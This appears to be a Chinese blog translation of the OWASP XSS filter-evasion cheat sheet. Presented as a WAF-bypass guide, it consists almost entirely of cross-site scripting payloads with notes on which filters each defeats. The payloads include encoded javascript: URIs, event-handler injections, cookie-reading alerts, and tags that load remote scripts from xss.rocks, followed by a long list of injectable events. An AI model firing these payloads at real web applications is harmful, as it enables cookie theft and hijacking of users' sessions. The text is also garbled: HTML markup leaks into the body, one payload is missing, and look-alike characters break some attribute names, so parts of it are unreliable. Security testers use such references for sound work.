xss_waf绕过

写在前面:

—————————————————————————————————————————————————

当你的才华

还撑不起的野心时

那你就应该静下心来学习

—————————————————————————————————————————————————

第一次翻译长篇文档,如有疏漏还请各位大牛指正。OWASP的这篇速查表虽然时间比较久了,但还在更新,所以还是翻译出来了。翻译完发现里面还是有一些值得借鉴的思路,用来涨知识还是可以的。由于篇幅较长,推荐各位可以收藏起来,用的时候再来查= ̄ω ̄=

1.介绍

这篇文章的主要目的是给专业安全测试人员提供一份跨站脚本漏洞检测指南。文章的初始内容是由RSnake提供给 OWASP,内容基于他的XSS备忘录:http://ha.ckers.org/xss.html。目前这个网页已经重定向到OWASP网站,将由OWASP维护和完善它。OWASP 的第一个防御备忘录项目:XSS (Cross Site Scripting)Prevention Cheat Sheet 灵感来源于 RSnake 的 XSS Cheat Sheet,所以我们对他给予我们的启发表示感谢。我们想要去创建短小简单的参考给开发者以便帮助他们预防 XSS漏洞,而不是简单的告诉他们需要使用复杂的方法构建应用来预防各种千奇百怪的攻击,这也是OWASP 备忘录系列诞生的原因。

2.测试

这份备忘录是为那些已经理解XSS攻击,但是想要了解关于绕过过滤器方法之间细微差别的人准备的。

请注意大部分的跨站脚本攻击向量已经在其代码下方给出的浏览器列表中进行测试。

2.1.  XSS定位器

在大多数存在漏洞且不需要特定XSS攻击代码的地方插入下列代码会弹出包含“XSS”字样的对话框。使用URL编码器来对整个代码进行编码。小技巧:如果你时间很紧想要快速检查页面,通常只要插入“<任意文本>”标签,然后观察页面输出是否明显改变了就可以判断是否存在漏洞:

‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;

alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–

>”>’>

2.2.  XSS定位器(短)

如果你没有足够的空间并且知道页面上没有存在漏洞的JavaScript,这个字符串是一个不错的简洁XSS注入检查。注入后查看页面源代码并且寻找是否存在<XSS字样来确认是否存在漏洞

”;!–”=&{()}

2.3.  无过滤绕过

这是一个常规的XSS注入代码,虽然通常它会被防御,但是建议首先去测试一下。(引号在任何现代浏览器中都不需要,所以这里省略了它):

2.4.  利用多语言进行过滤绕过

‘”>>”>

</p> <p><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’–>”></script></p> <p><script>alert(document.cookie)</script>”></p> <p><img/id=”confirm&lpar;1)”/alt=”/”src=”/”οnerrοr=eval(id)>’”></p> <p><img src=”http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg“></p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.5.  通过JavaScript命令实现的图片XSS</h3> <p>图片注入使用JavaScript命令实现(IE7.0 不支持在图片上下文中使用JavaScript 命令,但是可以在其他上下文触发。下面的例子展示了一种其他标签依旧通用的原理):</p> <blockquote> <p><IMG SRC=”javascript:alert(‘XSS’);”> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.6.  无分号无引号</h3> <blockquote> <p><IMG SRC=javascript:alert(‘XSS’)> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.7.  不区分大小写的XSS攻击向量</h3> <blockquote> <p><IMG SRC=JaVaScRiPt:alert(‘XSS’)> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.8.  HTML实体</h3> <p>必须有分号才可生效</p> <blockquote> <p><IMG SRC=javascript:alert(&quot;XSS&quot;)> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.9.  重音符混淆</h3> <p>如果你的JavaScript代码中需要同时使用单引号和双引号,那么可以使用重音符(`)来包含JavaScript 代码。这通常会有很大帮助,因为大部分跨站脚本过滤器都没有过滤这个字符:</p> <blockquote> <p><IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.10.    畸形的A标签</h3> <p>跳过HREF标签找到XSS的重点。。。由DavidCross提交~已在Chrome上验证</p> <blockquote> <p><a οnmοuseοver=”alert(document.cookie)”>xxs link</a> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p>此外Chrome经常帮你补全确实的引号。。。如果在这方面遇到问题就直接省略引号,Chrome会帮你补全在URL或脚本中缺少的引号。</p> <blockquote> <p><a οnmοuseοver=alert(document.cookie)>xxs link</a> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.11.    畸形的IMG标签</h3> <p>最初由Begeek发现(短小精湛适用于所有浏览器),这个XSS攻击向量使用了不严格的渲染引擎来构造含有IMG标签并被引号包含的XSS攻击向量。我猜测这种解析原来是为了兼容不规范的编码。这会让它更加难以正确的解析HTML标签:</p> <blockquote> <p><IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.12.    fromCharCode函数</h3> <p>如果不允许任何形式的引号,你可以通过执行JavaScript里的fromCharCode函数来创建任何你需要的XSS攻击向量:</p> <blockquote> <p><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.13.    使用默认SRC属性绕过SRC域名过滤器</h3> <p>这种方法可以绕过大多数SRC域名过滤器。将JavaScript代码插入事件方法同样适用于注入使用elements的任何HTML标签,例如Form,Iframe, Input, Embed等等。它同样允许将事件替换为任何标签中可用的事件类型,例如onblur,onclick。下面会给出许多不同的可注入事件列表。由David Cross提交,Abdullah Hussam(@Abdulahhusam)编辑。</p> <blockquote> <p><IMG SRC=# οnmοuseοver=”alert(‘xxs’)”> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.14.    使用默认为空的SRC属性</h3> <blockquote> <p><IMG SRC= οnmοuseοver=”alert(‘xxs’)”> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.15.    使用不含SRC属性</h3> <blockquote> <p><IMG οnmοuseοver=”alert(‘xxs’)”> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.16.    通过error事件触发alert</h3> <blockquote> <p><IMG SRC=/ οnerrοr=”alert(String.fromCharCode(88,83,83))”></img> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.17.    对IMG标签中onerror属性进行编码</h3> <blockquote> <p><img src=x οnerrοr=”&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041″> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.18.    十进制HTML字符实体编码</h3> <p>所有在IMG标签里直接使用javascript:形式的XSS示例无法在Firefox或Netscape8.1以上浏览器(使用Gecko渲染引擎)运行。</p> <blockquote> <p><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;</p> <p>&#39;&#88;&#83;&#83;&#39;&#41;></p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.19.    不带分号的十进制HTML字符实体编码</h3> <p>这对于绕过对“&#XX;”形式的XSS过滤非常有用,因为大多数人不知道最长可使用7位数字。这同样对例如$tmp_string =~s/.*\&#(\d+);.*/$1/;形式的过滤器有效,这种过滤器是错误的认为HTML字符实体编码需要用分号结尾(无意中发现的):</p> <blockquote> <p><IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&</p> <p>#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.20.    不带分号的十六进制HTML字符实体编码</h3> <p>这是有效绕过例如$tmp_string =~ s/.*\&#(\d+);.*/$1/;过滤器的方法。这种过滤器错误的认为#号后会跟着数字(十六进制HTML字符实体编码并非如此)</p> <blockquote> <p><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.21.    内嵌TAB</h3> <p>使用TAB来分开XSS攻击代码:</p> <blockquote> <p><IMG SRC=”jav ascript:alert(‘XSS’);”> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.22.    内嵌编码后TAB</h3> <p>使用编码后的TAB来分开XSS攻击代码:</p> <blockquote> <p><IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.23.    内嵌换行分隔XSS攻击代码</h3> <p>一些网站声称09到13(十进制)的HTML实体字符都可以实现这种攻击,这是不正确的。只有09(TAB),10(换行)和13(回车)有效。查看ASCII字符表获取更多细节。下面几个XSS示例介绍了这些向量。</p> <blockquote> <p><IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.24.    内嵌回车分隔XSS攻击代码</h3> <p>注意:上面使用了比实际需要长的字符串是因为0可以忽略。经常可以遇到过滤器解码十六进制和十进制编码时认为只有2到3位字符。实际规则是1至7位字符:</p> <blockquote> <p><IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.25.    使用空字符分隔JavaScript指令</h3> <p>空字符同样可以作为XSS攻击向量,但和上面有所区别,你需要使用一些例如Burp工具或在URL字符串里使用%00,亦或你想使用VIM编写自己的注入工具(^V^@会生成空字符),还可以通过程序生成它到一个文本文件。老版本的Opera浏览器(例如Windows版的7.11)还会受另一个字符173(软连字符)的影响。但是空字符%00更加有用并且能帮助绕过真实世界里的过滤器,例如这个例子里的变形:</p> <blockquote> <p>perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.26.    利用IMG标签中JavaScript指令前的空格和元字符</h3> <p>如果过滤器不计算”javascript:”前的空格,这是正确的,因为它们不会被解析,但这点非常有用。因为这会造成错误的假设,就是引号和”javascript:”字样间不能有任何字符。实际情况是你可以插入任何十进制的1至32号字符:</p> <blockquote> <p><IMG SRC=” &#14;  javascript:alert(‘XSS’);”> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.27.    利用非字母非数字字符</h3> <p>FireFox的HTML解析器认为HTML关键词后不能有非字母非数字字符,并且认为这是一个空白或在HTML标签后的无效符号。但问题是有的XSS过滤器认为它们要查找的标记会被空白字符分隔。例如”<SCRIPT\s” != “<SCRIPT/XSS\s”:</p> <blockquote> <p><SCRIPT/XSS SRC=”http://xss.rocks/xss.js“></SCRIPT> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p>基于上面的原理,可以使用模糊测试进行扩展。Gecko渲染引擎允许任何字符包括字母,数字或特殊字符(例如引号,尖括号等)存在于事件名称和等号之间,这会使得更加容易绕过跨站脚本过滤。注意这同样适用于下面看到的重音符:</p> <blockquote> <p><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p>Yair Amit让我注意到了IE和Gecko渲染引擎有一点不同行为,在于是否在HTML标签和参数之间允许一个不含空格的斜杠。这会非常有用如果系统不允许空格的时候。</p> <blockquote> <p><SCRIPT/SRC=”http://xss.rocks/xss.js“></SCRIPT> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.28.    额外的尖括号</h3> <p>由Franz Sedlmaier提交,这个XSS攻击向量可以绕过某些检测引擎,比如先查找第一个匹配的尖括号,然后比较里面的标签内容,而不是使用更有效的算法,例如Boyer-Moore算法就是查找整个字符串中的尖括号和相应标签(当然是通过模糊匹配)。双斜杠注释了额外的尖括号来防止出现JavaScript错误:</p> <blockquote> <p><<SCRIPT>alert(“XSS”);//<</SCRIPT> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.29.    未闭合的script标签</h3> <p>在Firefox和Netscape 8.1的Gecko渲染引擎下你不是必须构造类似“></SCRIPT>”的跨站脚本攻击向量。Firefox假定闭合HTML标签是安全的并且会为你添加闭合标记。多么体贴!不像不影响Firefox的下一个问题,这不需要在后面有额外的HTML标签。如果需要可以添加引号,但通常是没有必要的,需要注意的是,我并不知道这样注入后HTML会什么样子结束:</p> <blockquote> <p><SCRIPT SRC=http://xss.rocks/xss.js?< B > </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.30.    script标签中的协议解析</h3> <p>这个特定的变体是由Łukasz Pilorz提交的并且基于Ozh提供的协议解析绕过。这个跨站脚本示例在IE和Netscape的IE渲染模式下有效,如果添加了</SCRIPT>标记在Opera中也可以。这在输入空间有限的情况下是非常有用的,你所使用的域名越短越好。”.j”是可用的,在SCRIPT标签中不需要考虑编码类型因为浏览器会自动识别。</p> <blockquote> <p><SCRIPT SRC=//xss.rocks/.j> </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3>2.31.    只含左尖括号的HTML/JavaScript XSS向量</h3> <p>IE渲染引擎不像Firefox,不会向页面中添加额外数据。但它允许在IMG标签中直接使用javascript。这对构造攻击向量是很有用的,因为不需要闭合尖括号。这使得有任何HTML标签都可以进行跨站脚本攻击向量注入。甚至可以不使用”>”闭合标签。注意:这会让HTML页面变得混乱,具体程度取决于下面的HTML标签。这可以绕过以下NIDS正则:/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/因为不需要”>”闭合。另外在实际对抗XSS过滤器的时候,使用一个半开放的<IFRAME标签替代<IMG标签也是非常有效的。</p> <blockquote> <p><IMG SRC=”javascript:alert(‘XSS’)” </p> </blockquote> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.32.    多个左尖括号</h3> <p></p> <p></p> <p>使用一个左尖括号替代右尖括号作为标签结尾的攻击向量会在不同浏览器的Gecko渲染引擎下有不同表现。没有左尖括号时,在Firefox中生效,而在Netscape中无效。</p> <blockquote> <p><iframe src=http://xss.rocks/scriptlet.html < </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.33.    JavaScript双重转义</h3> <p></p> <p></p> <p>当应用将一些用户输入输出到例如:<SCRIPT>var a=”$ENV{QUERY_STRING}”;</SCRIPT>的JavaScript中时,你想注入你的JavaScript脚本,你可以通过转义转义字符来规避服务器端转义引号。注入后会得到<SCRIPT>vara=”\\”;alert(‘XSS’);//”;</SCRIPT>,这时双引号不会被转义并且可以触发跨站脚本攻击向量。XSS定位器就用了这种方法:</p> <blockquote> <p>\”;alert(‘XSS’);// </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <p>另一种情况是,如果内嵌数据进行了正确的JSON或JavaScript转义,但没有HTML编码,那可以结束原有脚本块并开始你自己的:</p> <blockquote> <p></script><script>alert(‘XSS’);</script> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.34.    闭合title标签</h3> <p></p> <p></p> <p>这是一个简单的闭合<TITLE>标签的XSS攻击向量,可以包含恶意的跨站脚本攻击:</p> <blockquote> <p></TITLE><SCRIPT>alert(“XSS”);</SCRIPT> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.35.    INPUT image</h3> <blockquote> <p><INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”> </p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3>2.36.    BODY image</h3> <blockquote> <p><BODY BACKGROUND=”javascript:alert(‘XSS’)”> </p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3>2.37.    IMG Dynsrc</h3> <blockquote> <p><IMG DYNSRC=”javascript:alert(‘XSS’)”> </p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3>2.38.    IMG lowsrc</h3> <blockquote> <p><IMG LOWSRC=”javascript:alert(‘XSS’)”> </p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3>2.39.    List-style-image</h3> <p></p> <h3> </h3> <p></p> <p>处理嵌入的图片列表是很麻烦的问题。由于JavaScript指令的原因只能在IE渲染引擎下有效。不是一个特别有用的跨站脚本攻击向量:</p> <blockquote> <p><STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS</br> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.40.    图片中引用VBscript</h3> <blockquote> <p><IMG SRC=’vbscript:msgbox(“XSS”)’> </p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3>2.41.    Livescript (仅限旧版本Netscape)</h3> <blockquote> <p><IMG SRC=”livescript:[code]"> </p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3>2.42.    SVG对象标签</h3> <blockquote> <p><svg/οnlοad=alert('XSS')> </p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3>2.43.    ECMAScript 6</h3> <blockquote> <p>Set.constructor`alert\x28document.domain\x29```</p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3>2.44.    BODY标签</h3> <p></p> <p></p> <p>这个方法不需要使用任何例如"javascript:"或"<SCRIPT..."语句来完成XSS攻击。Dan Crowley特别提醒你可以在等号前加入一个空格("οnlοad=" != "onload ="):</p> <blockquote> <p><BODY ONLOAD=alert('XSS')> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.45.    事件处理程序</h3> <p></p> <p></p> <p>在XSS攻击中可使用以下事件(在完稿的时候这是网上最全的列表了)。感谢ReneLedosquet的更新。</p> <p></p> <p></p> <blockquote> <p>1.    FSCommand() (攻击者当需要在嵌入的Flash对象中执行时可以使用此事件)</p> <p></p> <p>2.    onAbort() (当用户中止加载图片时)</p> <p></p> <p>3.    onActivate() (当对象激活时)</p> <p></p> <p>4.    onAfterPrint() (用户打印或进行打印预览后触发)</p> <p></p> <p>5.    onAfterUpdate() (从数据源对象更新数据后由数据对象触发)</p> <p></p> <p>6.    onBeforeActivate() (在对象设置为激活元素前触发)</p> <p></p> <p>7.    onBeforeCopy() (攻击者在选中部分拷贝到剪贴板前执行攻击代码-攻击者可以通过执行execCommand("Copy")函数触发)</p> <p></p> <p>8.    onBeforeCut() (攻击者在选中部分剪切到剪贴板前执行攻击代码)</p> <p></p> <p>9.    onBeforeDeactivate() (在当前对象的激活元素变化前触发)</p> <p></p> <p>10.  onBeforeEditFocus() (在一个包含可编辑元素的对象进入激活状态时或一个可编辑的对象被选中时触发)</p> <p></p> <p>11.  onBeforePaste() (在用户被诱导进行粘贴前或使用execCommand("Paste")函数触发)</p> <p></p> <p>12.  onBeforePrint() (用户需要被诱导进行打印或攻击者可以使用print()或execCommand("Print")函数).</p> <p></p> <p>13.  onBeforeUnload() (用户需要被诱导关闭浏览器-除非从父窗口执行,否则攻击者不能关闭当前窗口)</p> <p></p> <p>14.  onBeforeUpdate() (从数据源对象更新数据前由数据对象触发)</p> <p></p> <p>15.  onBegin() (当元素周期开始时由onbegin 事件立即触发)</p> <p></p> <p>16.  onBlur() (另一个窗口弹出当前窗口失去焦点时触发)</p> <p></p> <p>17.  onBounce() (当marquee对象的behavior属性设置为“alternate”且字幕的滚动内容到达窗口一边时触发)</p> <p></p> <p>18.  onCellChange() (当数据提供者的数据变化时触发)</p> <p></p> <p>19.  onChange() (select,text, 或TEXTAREA字段失去焦点并且值发生变化时触发)</p> <p></p> <p>20.  onClick() (表单中点击触发)</p> <p></p> <p>21.  onContextMenu() (用户需要在攻击区域点击右键)</p> <p></p> <p>22.  onControlSelect() (当用户在一个对象上创建控件选中区时触发)</p> <p></p> <p>23.  onCopy() (用户需要复制一些东西或使用execCommand("Copy")命令时触发)</p> <p></p> <p>24.  onCut() (用户需要剪切一些东西或使用execCommand("Cut")命令时触发)</p> <p></p> <p>25.  onDataAvailable() (用户需要修改元素中的数据,或者由攻击者提供的类似功能)</p> <p></p> <p>26.  onDataSetChanged() (当数据源对象变更导致数据集发生变更时触发)</p> <p></p> <p>27.  onDataSetComplete() (数据源对象中所有数据可用时触发)</p> <p></p> <p>28.  onDblClick() (用户双击一个表单元素或链接)</p> <p></p> <p>29.  onDeactivate() (在激活元素从当前对象转换到父文档中的另一个对象时触发)</p> <p></p> <p>30.  onDrag() (在元素正在拖动时触发)</p> <p></p> <p>31.  onDragEnd() (当用户完成元素的拖动时触发)</p> <p></p> <p>32.  onDragLeave() (用户在拖动元素离开放置目标时触发)</p> <p></p> <p>33.  onDragEnter() (用户将对象拖拽到合法拖曳目标)</p> <p></p> <p>34.  onDragOver() (用户将对象拖拽划过合法拖曳目标)</p> <p></p> <p>35.  onDragDrop() (用户将一个对象(例如文件)拖拽到浏览器窗口)</p> <p></p> <p>36.  onDragStart() (当用户开始拖动元素时触发)</p> <p></p> <p>37.  onDrop() (当拖动元素放置在目标区域时触发)</p> <p></p> <p>38.  onEnded() (在视频/音频(audio/video)播放结束时触发)</p> <p></p> <p>39.  onError() (在加载文档或图像时发生错误)</p> <p></p> <p>40.  onErrorUpdate() (当从数据源对象更新相关数据遇到错误时在数据绑定对象上触发)</p> <p></p> <p>41.  onFilterChange() (当滤镜完成状态变更时触发)</p> <p></p> <p>42.  onFinish() (当marquee完成滚动时攻击者可以执行攻击)</p> <p></p> <p>43.  onFocus() (当窗口获得焦点时攻击者可以执行攻击代码)</p> <p></p> <p>44.  onFocusIn() (当元素将要被设置为焦点之前触发)</p> <p></p> <p>45.  onFocusOut() (攻击者可以在窗口失去焦点时触发攻击代码)</p> <p></p> <p>46.  onHashChange() (当锚部分发生变化时触发攻击代码)</p> <p></p> <p>47.  onHelp() (攻击者可以在用户在当前窗体激活时按下F1触发攻击代码)</p> <p></p> <p>48.  onInput() (在 <input> 或 <textarea> 元素的值发生改变时触发)</p> <p></p> <p>49.  onKeyDown() (用户按下一个键的时候触发)</p> <p></p> <p>50.  onKeyPress() (在键盘按键被按下并释放一个键时触发)</p> <p></p> <p>51.  onKeyUp() (用户释放一个键时触发)</p> <p></p> <p>52.  onLayoutComplete() (用户进行完打印或打印预览时触发)</p> <p></p> <p>53.  onLoad() (攻击者在窗口加载后触发攻击代码)</p> <p></p> <p>54.  onLoseCapture() (可以由releaseCapture()方法触发)</p> <p></p> <p>55.  onMediaComplete() (当一个流媒体文件使用时,这个事件可以在文件播放前触发)</p> <p></p> <p>56.  onMediaError() (当用户在浏览器中打开一个包含媒体文件的页面,出现问题时触发事件)</p> <p></p> <p>57.  onMessage() (当页面收到一个信息时触发事件)</p> <p></p> <p>58.  onMouseDown() (攻击者需要让用户点击一个图片触发事件)</p> <p></p> <p>59.  onMouseEnter() (光标移动到一个对象或区域时触发)</p> <p></p> <p>60.  onMouseLeave() (攻击者需要让用户光标移动到一个图像或表格然后移开来触发事件)</p> <p></p> <p>61.  onMouseMove() (攻击者需要让用户将光标移到一个图片或表格)</p> <p></p> <p>62.  onMouseOut() (攻击者需要让用户光标移动到一个图像或表格然后移开来触发事件)</p> <p></p> <p>63.  onMouseOver() (光标移动到一个对象或区域)</p> <p></p> <p>64.  onMouseUp() (攻击者需要让用户点击一个图片)</p> <p></p> <p>65.  onMouseWheel() (攻击者需要让用户使用他们的鼠标滚轮)</p> <p></p> <p>66.  onMove() (用户或攻击者移动页面时触发)</p> <p></p> <p>67.  onMoveEnd() (用户或攻击者移动页面结束时触发)</p> <p></p> <p>68.  onMoveStart() (用户或攻击者开始移动页面时触发)</p> <p></p> <p>69.  onOffline() (当浏览器从在线模式切换到离线模式时触发)</p> <p></p> <p>70.  onOnline() (当浏览器从离线模式切换到在线模式时触发)</p> <p></p> <p>71.  onOutOfSync() (当元素与当前时间线失去同步时触发)</p> <p></p> <p>72.  onPaste() (用户进行粘贴时或攻击者可以使用execCommand("Paste")函数时触发)</p> <p></p> <p>73.  onPause() (在视频或音频暂停时触发)</p> <p></p> <p>74.  onPopState() (在窗口的浏览历史(history 对象)发生改变时触发)</p> <p></p> <p>75.  onProgress() (攻击者可以在一个FLASH加载时触发事件)</p> <p></p> <p>76.  onPropertyChange() (用户或攻击者需要改变元素属性时触发)</p> <p></p> <p>77.  onReadyStateChange() (每次 readyState 属性变化时被自动调用)</p> <p></p> <p>78.  onRedo() (用户返回上一页面时触发)</p> <p></p> <p>79.  onRepeat() (事件在播放完重复播放时触发)</p> <p></p> <p>80.  onReset() (用户或攻击者重置表单时触发)</p> <p></p> <p>81.  onResize() (用户改变窗口大小时,攻击者可以自动以这种方法触发:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)</p> <p></p> <p>82.  onResizeEnd() (用户完成改变窗体大小时触发)</p> <p></p> <p>83.  onResizeStart() (用户开始改变窗体大小时触发)</p> <p></p> <p>84.  onResume() (当元素继续播放时触发)</p> <p></p> <p>85.  onReverse() (当元素回放时触发)</p> <p></p> <p>86.  onRowsEnter() (用户或攻击者需要改变数据源中的一行)</p> <p></p> <p>87.  onRowExit() (用户或攻击者改变数据源中的一行后退出时触发)</p> <p></p> <p>88.  onRowDelete() (用户或攻击者需要删除数据源中的一行)</p> <p></p> <p>89.  onRowInserted() (user or attacker would needto insert a row in a data source)</p> <p></p> <p>90.  onScroll() (用户需要滚动或攻击者使用scrollBy()函数)</p> <p></p> <p>91.  onSeek() (当用户在元素上执行查找操作时触发)</p> <p></p> <p>92.  onSelect() (用户需要选择一些文本-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)</p> <p></p> <p>93.  onSelectionChange() (当用户选择文本变化时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)</p> <p></p> <p>94.  onSelectStart() (当用户开始选择文本时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)</p> <p></p> <p>95.  onStart() (在marquee 对象开始循环时触发)</p> <p></p> <p>96.  onStop() (当用户按下停止按钮或离开页面时触发)</p> <p></p> <p>97.  onStorage() (当Web Storage更新时触发)</p> <p></p> <p>98.  onSyncRestored() (当元素与它的时间线恢复同步时触发)</p> <p></p> <p>99.  onSubmit() (需要用户或攻击者提交表单)</p> <p></p> <p>100.onTimeError() (用户或攻击者设置时间属性出现错误时触发)</p> <p></p> <p>101.onTrackChange() (用户或攻击者改变播放列表内歌曲时触发)</p> <p></p> <p>102.onUndo() (用户返回上一浏览记录页面时触发)</p> <p></p> <p>103.onUnload() (用户点击任意链接或按下后退按钮或攻击者强制进行点击时触发)</p> <p></p> <p>104.onURLFlip() (当一个高级流媒体格式(ASF)文件,由一个HTML+TIME(基于时间交互的多媒体扩展)媒体标签播放时,可触发在ASF文件中内嵌的攻击脚本)</p> <p></p> <p>105.seekSegmentTime() (这是一个方法可以定位元素某个时间段内中的特定的点,并可以从该点播放。这个段落包含了一个重复的时间线,并包括使用AUTOREVERSE属性进行反向播放。)</p> </blockquote> <p></p> <h3>2.46.    BGSOUND</h3> <blockquote> <p><BGSOUND SRC="javascript:alert('XSS');"> </p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3>2.47.    & JavaScript包含</h3> <blockquote> <p><BR SIZE="&{alert('XSS')}"> </p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3>2.48.    样式表</h3> <blockquote> <p><LINK REL="stylesheet" HREF="javascript:alert('XSS');"> </p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3>2.49.    远程样式表</h3> <p></p> <h3> </h3> <p></p> <p>(利用像远程样式表一样简单的形式,你可以将XSS攻击代码包含在可使用内置表达式进行重定义的样式参数里。)这只在IE和使用IE渲染模式Netscape8.1+。注意这里没有任何元素在页面中表明这页面包含了JavaScript。提示:这些远程样式表都使用了body标签,所以必须在页面中有除了攻击向量以外的内容存在时才会生效, 也就是如果是空白页的话你必须在页面添加一个字母来让攻击代码生效:</p> <blockquote> <p><LINK REL="stylesheet" HREF="http://xss.rocks/xss.css"> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.50.    远程样式表2</h3> <p></p> <p></p> <p>这个和上面一样有效,不过使用了<STYLE>标签替代<LINK>标签. 